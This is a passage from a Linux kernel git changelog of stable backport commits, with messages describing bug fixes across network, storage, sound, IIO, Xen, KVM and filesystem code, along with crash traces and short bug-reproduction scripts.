taken is also the same one that is released by saving a copy of the socket before entering the timeout event critical section. Signed-off-by: Karl Heiss Signed-off-by: David S. Miller [wt: adjusted, 3.10 uses sctp_bh_unlock_sock() instead of bh_lock_sock()] Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 9f36bcc638c588eca0a2fe9a02267072ecbfed41 Author: Dmitri Epshtein Date: Wed Jul 6 04:18:58 2016 +0200 net: mvneta: set real interrupt per packet for tx_done commit 06708f81528725148473c0869d6af5f809c6824b upstream. Commit aebea2ba0f74 ("net: mvneta: fix Tx interrupt delay") intended to set coalescing threshold to a value guaranteeing interrupt generation per each sent packet, so that buffers can be released with no delay. In fact setting threshold to '1' was wrong, because it causes interrupt every two packets. According to the documentation a reason behind it is following - interrupt occurs once sent buffers counter reaches a value, which is higher than one specified in MVNETA_TXQ_SIZE_REG(q). This behavior was confirmed during tests. Also when testing the SoC working as a NAS device, better performance was observed with int-per-packet, as it strongly depends on the fact that all transmitted packets are released immediately. This commit enables NETA controller work in interrupt per sent packet mode by setting coalescing threshold to 0. Signed-off-by: Dmitri Epshtein Signed-off-by: Marcin Wojtas Cc: # v3.10+ Fixes aebea2ba0f74 ("net: mvneta: fix Tx interrupt delay") Acked-by: Willy Tarreau Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 8a28b92068ec9dfa761ed16f27e90c1c28046e64 Author: Brian King Date: Mon Jun 27 09:09:40 2016 -0500 ipr: Clear interrupt on croc/crocodile when running with LSI commit 54e430bbd490e18ab116afa4cd90dcc45787b3df upstream. If we fall back to using LSI on the Croc or Crocodile chip we need to clear the interrupt so we don't hang the system. Cc: Tested-by: Benjamin Herrenschmidt Signed-off-by: Brian King Signed-off-by: Martin K. Petersen Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 7b1894da52c987ede06d397012a110b8c929a898 Author: Oliver Hartkopp Date: Tue Jun 21 15:45:47 2016 +0200 can: fix oops caused by wrong rtnl dellink usage commit 25e1ed6e64f52a692ba3191c4fde650aab3ecc07 upstream. For 'real' hardware CAN devices the netlink interface is used to set CAN specific communication parameters. Real CAN hardware can not be created nor removed with the ip tool ... This patch adds a private dellink function for the CAN device driver interface that does just nothing. It's a follow up to commit 993e6f2fd ("can: fix oops caused by wrong rtnl newlink usage") but for dellink. Reported-by: ajneu Signed-off-by: Oliver Hartkopp Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 931b9a3ad3f7ff6067ea724e205b06630bcb8a14 Author: Wolfgang Grandegger Date: Mon Jun 13 15:44:19 2016 +0200 can: at91_can: RX queue could get stuck at high bus load commit 43200a4480cbbe660309621817f54cbb93907108 upstream. At high bus load it could happen that "at91_poll()" enters with all RX message boxes filled up. If then at the end the "quota" is exceeded as well, "rx_next" will not be reset to the first RX mailbox and hence the interrupts remain disabled. Signed-off-by: Wolfgang Grandegger Tested-by: Amr Bekhit Cc: Signed-off-by: Marc Kleine-Budde Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 2663077df156b281b843d6edc7ba3f94b84a6a89 Author: Taras Kondratiuk Date: Wed Jul 13 22:05:38 2016 +0000 mmc: block: fix packed command header endianness commit f68381a70bb2b26c31b13fdaf67c778f92fd32b4 upstream. The code that fills packed command header assumes that CPU runs in little-endian mode. Hence the header is malformed in big-endian mode and causes MMC data transfer errors: [ 563.200828] mmcblk0: error -110 transferring data, sector 2048, nr 8, cmd response 0x900, card status 0xc40 [ 563.219647] mmcblk0: packed cmd failed, nr 2, sectors 16, failure index: -1 Convert header data to LE. Signed-off-by: Taras Kondratiuk Fixes: ce39f9d17c14 ("mmc: support packed write command for eMMC4.5 devices") Cc: Signed-off-by: Ulf Hansson Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 2664c92dca3d537f3c7bcdd8b7a6819647a3cd31 Author: Ursula Braun Date: Mon Jul 4 14:07:16 2016 +0200 qeth: delete napi struct when removing a qeth device commit 7831b4ff0d926e0deeaabef9db8800ed069a2757 upstream. A qeth_card contains a napi_struct linked to the net_device during device probing. This struct must be deleted when removing the qeth device, otherwise Panic on oops can occur when qeth devices are repeatedly removed and added. Fixes: a1c3ed4c9ca ("qeth: NAPI support for l2 and l3 discipline") Cc: stable@vger.kernel.org # v2.6.37+ Signed-off-by: Ursula Braun Tested-by: Alexander Klein Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 69ea0dd4c3981d13c324279c5c3d4ef15c112e9a Author: Vineet Gupta Date: Thu Nov 5 09:13:31 2015 +0530 ARC: use ASL assembler mnemonic commit a6416f57ce57fb390b6ee30b12c01c29032a26af upstream. ARCompact and ARCv2 only have ASL, while binutils used to support LSL as a alias mnemonic. Newer binutils (upstream) don't want to do that so replace it. Signed-off-by: Vineet Gupta Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 7a0944a1c600dc21aa1186d61eb5528fd81bde79 Author: Jeff Mahoney Date: Tue Jul 5 17:32:30 2016 -0400 ecryptfs: don't allow mmap when the lower fs doesn't support it commit f0fe970df3838c202ef6c07a4c2b36838ef0a88b upstream. There are legitimate reasons to disallow mmap on certain files, notably in sysfs or procfs. We shouldn't emulate mmap support on file systems that don't offer support natively. CVE-2016-1583 Signed-off-by: Jeff Mahoney [tyhicks: clean up f_op check by using ecryptfs_file_to_lower()] Signed-off-by: Tyler Hicks Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 3bc1d3e7071be54642f32a63d428aa7fcc50a05a Author: Jeff Mahoney Date: Tue Jul 5 17:32:29 2016 -0400 Revert "ecryptfs: forbid opening files without mmap handler" commit 78c4e172412de5d0456dc00d2b34050aa0b683b5 upstream. This reverts commit 2f36db71009304b3f0b95afacd8eba1f9f046b87. It fixed a local root exploit but also introduced a dependency on the lower file system implementing an mmap operation just to open a file, which is a bit of a heavy hammer. The right fix is to have mmap depend on the existence of the mmap handler instead. Signed-off-by: Jeff Mahoney Signed-off-by: Tyler Hicks Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit cb02eb2f932939f5e77e13c5c08f59656535ac80 Author: Andrey Grodzovsky Date: Tue Jun 21 14:26:36 2016 -0400 xen/pciback: Fix conf_space read/write overlap check. commit 02ef871ecac290919ea0c783d05da7eedeffc10e upstream. Current overlap check is evaluating to false a case where a filter field is fully contained (proper subset) of a r/w request. This change applies classical overlap check instead to include all the scenarios. More specifically, for (Hilscher GmbH CIFX 50E-DP(M/S)) device driver the logic is such that the entire confspace is read and written in 4 byte chunks. In this case as an example, CACHE_LINE_SIZE, LATENCY_TIMER and PCI_BIST are arriving together in one call to xen_pcibk_config_write() with offset == 0xc and size == 4. With the exsisting overlap check the LATENCY_TIMER field (offset == 0xd, length == 1) is fully contained in the write request and hence is excluded from write, which is incorrect. Signed-off-by: Andrey Grodzovsky Reviewed-by: Boris Ostrovsky Reviewed-by: Jan Beulich Cc: Signed-off-by: David Vrabel Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 805caa6529821fe57f48f811b95b5164a3a4a202 Author: Alexey Brodkin Date: Thu Jun 23 11:00:39 2016 +0300 arc: unwind: warn only once if DW2_UNWIND is disabled commit 9bd54517ee86cb164c734f72ea95aeba4804f10b upstream. If CONFIG_ARC_DW2_UNWIND is disabled every time arc_unwind_core() gets called following message gets printed in debug console: ----------------->8--------------- CONFIG_ARC_DW2_UNWIND needs to be enabled ----------------->8--------------- That message makes sense if user indeed wants to see a backtrace or get nice function call-graphs in perf but what if user disabled unwinder for the purpose? Why pollute his debug console? So instead we'll warn user about possibly missing feature once and let him decide if that was what he or she really wanted. Signed-off-by: Alexey Brodkin Cc: stable@vger.kernel.org Signed-off-by: Vineet Gupta Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 1d84cb4f5d00b9ad6c07a58f1fe2ea0391d6945c Author: Torsten Hilbrich Date: Fri Jun 24 14:50:18 2016 -0700 fs/nilfs2: fix potential underflow in call to crc32_le commit 63d2f95d63396059200c391ca87161897b99e74a upstream. The value `bytes' comes from the filesystem which is about to be mounted. We cannot trust that the value is always in the range we expect it to be. Check its value before using it to calculate the length for the crc32_le call. It value must be larger (or equal) sumoff + 4. This fixes a kernel bug when accidentially mounting an image file which had the nilfs2 magic value 0x3434 at the right offset 0x406 by chance. The bytes 0x01 0x00 were stored at 0x408 and were interpreted as a s_bytes value of 1. This caused an underflow when substracting sumoff + 4 (20) in the call to crc32_le. BUG: unable to handle kernel paging request at ffff88021e600000 IP: crc32_le+0x36/0x100 ... Call Trace: nilfs_valid_sb.part.5+0x52/0x60 [nilfs2] nilfs_load_super_block+0x142/0x300 [nilfs2] init_nilfs+0x60/0x390 [nilfs2] nilfs_mount+0x302/0x520 [nilfs2] mount_fs+0x38/0x160 vfs_kern_mount+0x67/0x110 do_mount+0x269/0xe00 SyS_mount+0x9f/0x100 entry_SYSCALL_64_fastpath+0x16/0x71 Link: http://lkml.kernel.org/r/1466778587-5184-2-git-send-email-konishi.ryusuke@lab.ntt.co.jp Signed-off-by: Torsten Hilbrich Tested-by: Torsten Hilbrich Signed-off-by: Ryusuke Konishi Cc: Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit c23b1310727be7a4b332a5172f556d7d048a30ad Author: Jan Willeke Date: Tue Jul 22 16:50:57 2014 +0200 s390/seccomp: fix error return for filtered system calls commit dc295880c6752076f8b94ba3885d0bfff09e3e82 upstream. The syscall_set_return_value function of s390 negates the error argument before storing the value to the return register gpr2. This is incorrect, the seccomp code already passes the negative error value. Store the unmodified error value to gpr2. Signed-off-by: Jan Willeke Signed-off-by: Martin Schwidefsky Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit a7921efeb7f694ceaf07f2c0ac05b6e0f96e6e78 Author: Jan Beulich Date: Fri Jul 8 06:15:07 2016 -0600 xen/acpi: allow xen-acpi-processor driver to load on Xen 4.7 commit 6f2d9d99213514360034c6d52d2c3919290b3504 upstream. As of Xen 4.7 PV CPUID doesn't expose either of CPUID[1].ECX[7] and CPUID[0x80000007].EDX[7] anymore, causing the driver to fail to load on both Intel and AMD systems. Doing any kind of hardware capability checks in the driver as a prerequisite was wrong anyway: With the hypervisor being in charge, all such checking should be done by it. If ACPI data gets uploaded despite some missing capability, the hypervisor is free to ignore part or all of that data. Ditch the entire check_prereq() function, and do the only valid check (xen_initial_domain()) in the caller in its place. Signed-off-by: Jan Beulich Cc: Signed-off-by: David Vrabel Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 6b7a3cba56794c312bd89cd2656b534bd4fab559 Author: Steve French Date: Wed Jun 22 20:12:05 2016 -0500 Fix reconnect to not defer smb3 session reconnect long after socket reconnect commit 4fcd1813e6404dd4420c7d12fb483f9320f0bf93 upstream. Azure server blocks clients that open a socket and don't do anything on it. In our reconnect scenarios, we can reconnect the tcp session and detect the socket is available but we defer the negprot and SMB3 session setup and tree connect reconnection until the next i/o is requested, but this looks suspicous to some servers who expect SMB3 negprog and session setup soon after a socket is created. In the echo thread, reconnect SMB3 sessions and tree connections that are disconnected. A later patch will replay persistent (and resilient) handle opens. Signed-off-by: Steve French Acked-by: Pavel Shilovsky Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 5e41811268f023744a7bcb04bfe673387a3fb23e Author: Christoph Hellwig Date: Thu May 1 16:51:03 2014 +0200 scsi: remove scsi_end_request commit bc85dc500f9df9b2eec15077e5046672c46adeaa upstream. By folding scsi_end_request into its only caller we can significantly clean up the completion logic. We can use simple goto labels now to only have a single place to finish or requeue command there instead of the previous convoluted logic. Signed-off-by: Christoph Hellwig Reviewed-by: Nicholas Bellinger Reviewed-by: Mike Christie Reviewed-by: Hannes Reinecke [jwang: backport to 3.12] Signed-off-by: Jack Wang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 575954e2a9dfed938de901055144fb4431104141 Author: Wei Fang Date: Tue Jun 7 14:53:56 2016 +0800 scsi: fix race between simultaneous decrements of ->host_failed commit 72d8c36ec364c82bf1bf0c64dfa1041cfaf139f7 upstream. sas_ata_strategy_handler() adds the works of the ata error handler to system_unbound_wq. This workqueue asynchronously runs work items, so the ata error handler will be performed concurrently on different CPUs. In this case, ->host_failed will be decreased simultaneously in scsi_eh_finish_cmd() on different CPUs, and become abnormal. It will lead to permanently inequality between ->host_failed and ->host_busy, and scsi error handler thread won't start running. IO errors after that won't be handled. Since all scmds must have been handled in the strategy handler, just remove the decrement in scsi_eh_finish_cmd() and zero ->host_busy after the strategy handler to fix this race. Fixes: 50824d6c5657 ("[SCSI] libsas: async ata-eh") Cc: stable@vger.kernel.org Signed-off-by: Wei Fang Reviewed-by: James Bottomley Signed-off-by: Martin K. Petersen Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 5a8e8252937a99c4cf3aaa8194a17f6d05857f8a Author: Takashi Iwai Date: Fri Jul 8 08:05:19 2016 +0200 ALSA: ctl: Stop notification after disconnection commit f388cdcdd160687c6650833f286b9c89c50960ff upstream. snd_ctl_remove() has a notification for the removal event. It's superfluous when done during the device got disconnected. Although the notification itself is mostly harmless, it may potentially be harmful, and should be suppressed. Actually some components PCM may free ctl elements during the disconnect or free callbacks, thus it's no theoretical issue. This patch adds the check of card->shutdown flag for avoiding unnecessary notifications after (or during) the disconnect. Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 41f0b767eaa3e68c27f95c435cda43a0077ac55a Author: Takashi Iwai Date: Wed Jun 29 15:23:08 2016 +0200 ALSA: au88x0: Fix calculation in vortex_wtdma_bufshift() commit 62db7152c924e4c060e42b34a69cd39658e8a0dc upstream. vortex_wtdma_bufshift() function does calculate the page index wrongly, first masking then shift, which always results in zero. The proper computation is to first shift, then mask. Reported-by: Dan Carpenter Cc: Signed-off-by: Takashi Iwai Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 3720c3c2f8ef119782e216217487ecd0b89478e5 Author: Takashi Iwai Date: Fri Jun 24 15:15:26 2016 +0200 ALSA: dummy: Fix a use-after-free at closing commit d5dbbe6569481bf12dcbe3e12cff72c5f78d272c upstream. syzkaller fuzzer spotted a potential use-after-free case in snd-dummy driver when hrtimer is used as backend: > ================================================================== > BUG: KASAN: use-after-free in rb_erase+0x1b17/0x2010 at addr ffff88005e5b6f68 > Read of size 8 by task syz-executor/8984 > ============================================================================= > BUG kmalloc-192 (Not tainted): kasan: bad access detected > ----------------------------------------------------------------------------- > > Disabling lock debugging due to kernel taint > INFO: Allocated in 0xbbbbbbbbbbbbbbbb age=18446705582212484632 > .... > [< none >] dummy_hrtimer_create+0x49/0x1a0 sound/drivers/dummy.c:464 > .... > INFO: Freed in 0xfffd8e09 age=18446705496313138713 cpu=2164287125 pid=-1 > [< none >] dummy_hrtimer_free+0x68/0x80 sound/drivers/dummy.c:481 > .... > Call Trace: > [] __asan_report_load8_noabort+0x3e/0x40 mm/kasan/report.c:333 > [< inline >] rb_set_parent include/linux/rbtree_augmented.h:111 > [< inline >] __rb_erase_augmented include/linux/rbtree_augmented.h:218 > [] rb_erase+0x1b17/0x2010 lib/rbtree.c:427 > [] timerqueue_del+0x78/0x170 lib/timerqueue.c:86 > [] __remove_hrtimer+0x90/0x220 kernel/time/hrtimer.c:903 > [< inline >] remove_hrtimer kernel/time/hrtimer.c:945 > [] hrtimer_try_to_cancel+0x22a/0x570 kernel/time/hrtimer.c:1046 > [] hrtimer_cancel+0x22/0x40 kernel/time/hrtimer.c:1066 > [] dummy_hrtimer_stop+0x91/0xb0 sound/drivers/dummy.c:417 > [] dummy_pcm_trigger+0x17f/0x1e0 sound/drivers/dummy.c:507 > [] snd_pcm_do_stop+0x160/0x1b0 sound/core/pcm_native.c:1106 > [] snd_pcm_action_single+0x76/0x120 sound/core/pcm_native.c:956 > [] snd_pcm_action+0x231/0x290 sound/core/pcm_native.c:974 > [< inline >] snd_pcm_stop sound/core/pcm_native.c:1139 > [] snd_pcm_drop+0x12d/0x1d0 sound/core/pcm_native.c:1784 > [] snd_pcm_common_ioctl1+0xfae/0x2150 sound/core/pcm_native.c:2805 > [] snd_pcm_capture_ioctl1+0x2a1/0x5e0 sound/core/pcm_native.c:2976 > [] snd_pcm_kernel_ioctl+0x11c/0x160 sound/core/pcm_native.c:3020 > [] snd_pcm_oss_sync+0x3a4/0xa30 sound/core/oss/pcm_oss.c:1693 > [] snd_pcm_oss_release+0x1ad/0x280 sound/core/oss/pcm_oss.c:2483 > ..... A workaround is to call hrtimer_cancel() in dummy_hrtimer_sync() which is called certainly before other blocking ops. Reported-by: Dmitry Vyukov Tested-by: Dmitry Vyukov Cc: Signed-off-by: Takashi Iwai Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 06b5dfe3cb36c578bacd77a4f62e7afa25e814d4 Author: Dmitry Torokhov Date: Mon Jun 27 14:12:34 2016 -0700 tty/vt/keyboard: fix OOB access in do_compute_shiftstate() commit 510cccb5b0c8868a2b302a0ab524da7912da648b upstream. The size of individual keymap in drivers/tty/vt/keyboard.c is NR_KEYS, which is currently 256, whereas number of keys/buttons in input device (and therefor in key_down) is much larger - KEY_CNT - 768, and that can cause out-of-bound access when we do sym = U(key_maps[0][k]); with large 'k'. To fix it we should not attempt iterating beyond smaller of NR_KEYS and KEY_CNT. Also while at it let's switch to for_each_set_bit() instead of open-coding it. Reported-by: Sasha Levin Reviewed-by: Guenter Roeck Cc: stable@vger.kernel.org Signed-off-by: Dmitry Torokhov Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 6d36a57b3a4f055d9edbca2406212adf038d250d Author: Mark Brown Date: Mon Jun 20 13:53:34 2016 +0100 iio:ad7266: Fix probe deferral for vref commit 68b356eb3d9f5e38910fb62e22a78e2a18d544ae upstream. Currently the ad7266 driver treats any failure to get vref as though the regulator were not present but this means that if probe deferral is triggered the driver will act as though the regulator were not present. Instead only use the internal reference if we explicitly got -ENODEV which is what is returned for absent regulators. Signed-off-by: Mark Brown Cc: Signed-off-by: Jonathan Cameron Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 71eb9d792710604eeee87f9d2d763614afa7433e Author: Mark Brown Date: Mon Jun 20 13:53:32 2016 +0100 iio:ad7266: Fix broken regulator error handling commit 6b7f4e25f3309f106a5c7ff42c8231494cf285d3 upstream. All regulator_get() variants return either a pointer to a regulator or an ERR_PTR() so testing for NULL makes no sense and may lead to bugs if we use NULL as a valid regulator. Fix this by using IS_ERR() as expected. Signed-off-by: Mark Brown Cc: Signed-off-by: Jonathan Cameron Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 10a3491db2464788fbbb594e9011616d112e2049 Author: Linus Walleij Date: Fri Jun 17 15:22:24 2016 +0200 iio: accel: kxsd9: fix the usage of spi_w8r8() commit 0c1f91b98552da49d9d8eed32b3132a58d2f4598 upstream. These two spi_w8r8() calls return a value with is used by the code following the error check. The dubious use was caused by a cleanup patch. Fixes: d34dbee8ac8e ("staging:iio:accel:kxsd9 cleanup and conversion to iio_chan_spec.") Signed-off-by: Linus Walleij Cc: Signed-off-by: Jonathan Cameron Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit eb52fe8e36cbc9a3057347966e80c5e6eef2480d Author: Luis de Bethencourt Date: Wed Jun 22 20:43:30 2016 +0100 staging: iio: accel: fix error check commit ef3149eb3ddb7f9125e11c90f8330e371b55cffd upstream. sca3000_read_ctrl_reg() returns a negative number on failure, check for this instead of zero. Signed-off-by: Luis de Bethencourt Cc: Signed-off-by: Jonathan Cameron Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit c6ab0863f617f8ec9ff09cc3bd9375daabad3eaf Author: Crestez Dan Leonard Date: Tue May 3 15:27:09 2016 +0300 iio: Fix error handling in iio_trigger_attach_poll_func commit 99543823357966ac938d9a310947e731b67338e6 upstream. When attaching a pollfunc iio_trigger_attach_poll_func will allocate a virtual irq and call the driver's set_trigger_state function. Fix error handling to undo previous steps if any fails. In particular this fixes handling errors from a driver's set_trigger_state function. When using triggered buffers a failure to enable the trigger used to make the buffer unusable. Signed-off-by: Crestez Dan Leonard Cc: Signed-off-by: Jonathan Cameron Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 65df27380789f45701cd6cfdbf3427289f6d2de0 Author: Jiri Slaby Date: Fri Jun 10 10:54:32 2016 +0200 base: make module_create_drivers_dir race-free commit 7e1b1fc4dabd6ec8e28baa0708866e13fa93c9b3 upstream. Modules which register drivers via standard path (driver_register) in parallel can cause a warning: WARNING: CPU: 2 PID: 3492 at ../fs/sysfs/dir.c:31 sysfs_warn_dup+0x62/0x80 sysfs: cannot create duplicate filename '/module/saa7146/drivers' Modules linked in: hexium_gemini(+) mxb(+) ... ... Call Trace: ... [] sysfs_warn_dup+0x62/0x80 [] sysfs_create_dir_ns+0x77/0x90 [] kobject_add_internal+0xb4/0x340 [] kobject_add+0x68/0xb0 [] kobject_create_and_add+0x31/0x70 [] module_add_driver+0xc3/0xd0 [] bus_add_driver+0x154/0x280 [] driver_register+0x60/0xe0 [] __pci_register_driver+0x60/0x70 [] saa7146_register_extension+0x64/0x90 [saa7146] [] hexium_init_module+0x11/0x1000 [hexium_gemini] ... As can be (mostly) seen, driver_register causes this call sequence: -> bus_add_driver -> module_add_driver -> module_create_drivers_dir The last one creates "drivers" directory in /sys/module/<...>. When this is done in parallel, the directory is attempted to be created twice at the same time. This can be easily reproduced by loading mxb and hexium_gemini in parallel: while :; do modprobe mxb & modprobe hexium_gemini wait rmmod mxb hexium_gemini saa7146_vv saa7146 done saa7146 calls pci_register_driver for both mxb and hexium_gemini, which means /sys/module/saa7146/drivers is to be created for both of them. Fix this by a new mutex in module_create_drivers_dir which makes the test-and-create "drivers" dir atomic. I inverted the condition and removed 'return' to avoid multiple unlocks or a goto. Signed-off-by: Jiri Slaby Fixes: fe480a2675ed (Modules: only add drivers/ direcory if needed) Cc: v2.6.21+ Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit be506260cd50ec7091eea2ebce3265d839fc7e3c Author: Steven Rostedt (Red Hat) Date: Fri Jun 17 16:10:42 2016 -0400 tracing: Handle NULL formats in hold_module_trace_bprintk_format() commit 70c8217acd4383e069fe1898bbad36ea4fcdbdcc upstream. If a task uses a non constant string for the format parameter in trace_printk(), then the trace_printk_fmt variable is set to NULL. This variable is then saved in the __trace_printk_fmt section. The function hold_module_trace_bprintk_format() checks to see if duplicate formats are used by modules, and reuses them if so (saves them to the list if it is new). But this function calls lookup_format() that does a strcmp() to the value (which is now NULL) and can cause a kernel oops. This wasn't an issue till 3debb0a9ddb ("tracing: Fix trace_printk() to print when not using bprintk()") which added "__used" to the trace_printk_fmt variable, and before that, the kernel simply optimized it out (no NULL value was saved). The fix is simply to handle the NULL pointer in lookup_format() and have the caller ignore the value if it was NULL. Link: http://lkml.kernel.org/r/1464769870-18344-1-git-send-email-zhengjun.xing@intel.com Reported-by: xingzhen Acked-by: Namhyung Kim Fixes: 3debb0a9ddb ("tracing: Fix trace_printk() to print when not using bprintk()") Cc: stable@vger.kernel.org # v3.5+ Signed-off-by: Steven Rostedt Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit cc52c53b7d8f35d87241cc34f48af0ddb7307eaa Author: Xiubo Li Date: Wed Jun 15 18:00:33 2016 +0800 kvm: Fix irq route entries exceeding KVM_MAX_IRQ_ROUTES commit caf1ff26e1aa178133df68ac3d40815fed2187d9 upstream. These days, we experienced one guest crash with 8 cores and 3 disks, with qemu error logs as bellow: qemu-system-x86_64: /build/qemu-2.0.0/kvm-all.c:984: kvm_irqchip_commit_routes: Assertion `ret == 0' failed. And then we found one patch(bdf026317d) in qemu tree, which said could fix this bug. Execute the following script will reproduce the BUG quickly: irq_affinity.sh ======================================================================== vda_irq_num=25 vdb_irq_num=27 while [ 1 ] do for irq in {1,2,4,8,10,20,40,80} do echo $irq > /proc/irq/$vda_irq_num/smp_affinity echo $irq > /proc/irq/$vdb_irq_num/smp_affinity dd if=/dev/vda of=/dev/zero bs=4K count=100 iflag=direct dd if=/dev/vdb of=/dev/zero bs=4K count=100 iflag=direct done done ======================================================================== The following qemu log is added in the qemu code and is displayed when this bug reproduced: kvm_irqchip_commit_routes: max gsi: 1008, nr_allocated_irq_routes: 1024, irq_routes->nr: 1024, gsi_count: 1024. That's to say when irq_routes->nr == 1024, there are 1024 routing entries, but in the kernel code when routes->nr >= 1024, will just return -EINVAL; The nr is the number of the routing entries which is in of [1 ~ KVM_MAX_IRQ_ROUTES], not the index in [0 ~ KVM_MAX_IRQ_ROUTES - 1]. This patch fix the BUG above. Cc: stable@vger.kernel.org Signed-off-by: Xiubo Li Signed-off-by: Wei Tang Signed-off-by: Zhang Zhuoyu Signed-off-by: Paolo Bonzini Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 70b066e8577b7670ee4d7d21ca2dafa950de35f6 Author: Bjørn Mork Date: Sun Jul 3 22:24:50 2016 +0200 cdc_ncm: workaround for EM7455 "silent" data interface commit c086e7096170390594c425114d98172bc9aceb8a upstream. Several Lenovo users have reported problems with their Sierra Wireless EM7455 modem. The driver has loaded successfully and the MBIM management channel has appeared to work, including establishing a connection to the mobile network. But no frames have been received over the data interface. The problem affects all EM7455 and MC7455, and is assumed to affect other modems based on the same Qualcomm chipset and baseband firmware. Testing narrowed the problem down to what seems to be a firmware timing bug during initialization. Adding a short sleep while probing is sufficient to make the problem disappear. Experiments have shown that 1-2 ms is too little to have any effect, while 10-20 ms is enough to reliably succeed. Reported-by: Stefan Armbruster Reported-by: Ralph Plawetzki Reported-by: Andreas Fett Reported-by: Rasmus Lerdorf Reported-by: Samo Ratnik Reported-and-tested-by: Aleksander Morgado Signed-off-by: Bjørn Mork Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit f85e8f125b2daff44bd323c2f62bda7149cbd294 Author: Kirill A. Shutemov Date: Thu Jun 16 23:26:15 2016 +0200 UBIFS: Implement ->migratepage() commit 4ac1c17b2044a1b4b2fbed74451947e905fc2992 upstream. During page migrations UBIFS might get confused and the following assert triggers: [ 213.480000] UBIFS assert failed in ubifs_set_page_dirty at 1451 (pid 436) [ 213.490000] CPU: 0 PID: 436 Comm: drm-stress-test Not tainted 4.4.4-00176-geaa802524636-dirty #1008 [ 213.490000] Hardware name: Allwinner sun4i/sun5i Families [ 213.490000] [] (unwind_backtrace) from [] (show_stack+0x10/0x14) [ 213.490000] [] (show_stack) from [] (dump_stack+0x8c/0xa0) [ 213.490000] [] (dump_stack) from [] (ubifs_set_page_dirty+0x44/0x50) [ 213.490000] [] (ubifs_set_page_dirty) from [] (try_to_unmap_one+0x10c/0x3a8) [ 213.490000] [] (try_to_unmap_one) from [] (rmap_walk+0xb4/0x290) [ 213.490000] [] (rmap_walk) from [] (try_to_unmap+0x64/0x80) [ 213.490000] [] (try_to_unmap) from [] (migrate_pages+0x328/0x7a0) [ 213.490000] [] (migrate_pages) from [] (alloc_contig_range+0x168/0x2f4) [ 213.490000] [] (alloc_contig_range) from [] (cma_alloc+0x170/0x2c0) [ 213.490000] [] (cma_alloc) from [] (__alloc_from_contiguous+0x38/0xd8) [ 213.490000] [] (__alloc_from_contiguous) from [] (__dma_alloc+0x23c/0x274) [ 213.490000] [] (__dma_alloc) from [] (arm_dma_alloc+0x54/0x5c) [ 213.490000] [] (arm_dma_alloc) from [] (drm_gem_cma_create+0xb8/0xf0) [ 213.490000] [] (drm_gem_cma_create) from [] (drm_gem_cma_create_with_handle+0x1c/0xe8) [ 213.490000] [] (drm_gem_cma_create_with_handle) from [] (drm_gem_cma_dumb_create+0x3c/0x48) [ 213.490000] [] (drm_gem_cma_dumb_create) from [] (drm_ioctl+0x12c/0x444) [ 213.490000] [] (drm_ioctl) from [] (do_vfs_ioctl+0x3f4/0x614) [ 213.490000] [] (do_vfs_ioctl) from [] (SyS_ioctl+0x34/0x5c) [ 213.490000] [] (SyS_ioctl) from [] (ret_fast_syscall+0x0/0x34) UBIFS is using PagePrivate() which can have different meanings across filesystems. Therefore the generic page migration code cannot handle this case correctly. We have to implement our own migration function which basically does a plain copy but also duplicates the page private flag. UBIFS is not a block device filesystem and cannot use buffer_migrate_page(). Signed-off-by: Kirill A. Shutemov [rw: Massaged changelog, build fixes, etc...] Signed-off-by: Richard Weinberger Acked-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 00d14c5bb1cc57172f8b3b953da925f2f16a145c Author: Richard Weinberger Date: Thu Jun 16 23:26:14 2016 +0200 mm: Export migrate_page_move_mapping and migrate_page_copy commit 1118dce773d84f39ebd51a9fe7261f9169cb056e upstream. Export these symbols such that UBIFS can implement ->migratepage. Signed-off-by: Richard Weinberger Acked-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman [wt: also add the prototype to include/linux/migrate.h] Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 2c44e2cf1f3a9b03ad9cbffb9724b70dead386e2 Author: Trond Myklebust Date: Sat Jun 25 19:19:28 2016 -0400 NFS: Fix another OPEN_DOWNGRADE bug commit e547f2628327fec6afd2e03b46f113f614cca05b upstream. Olga Kornievskaia reports that the following test 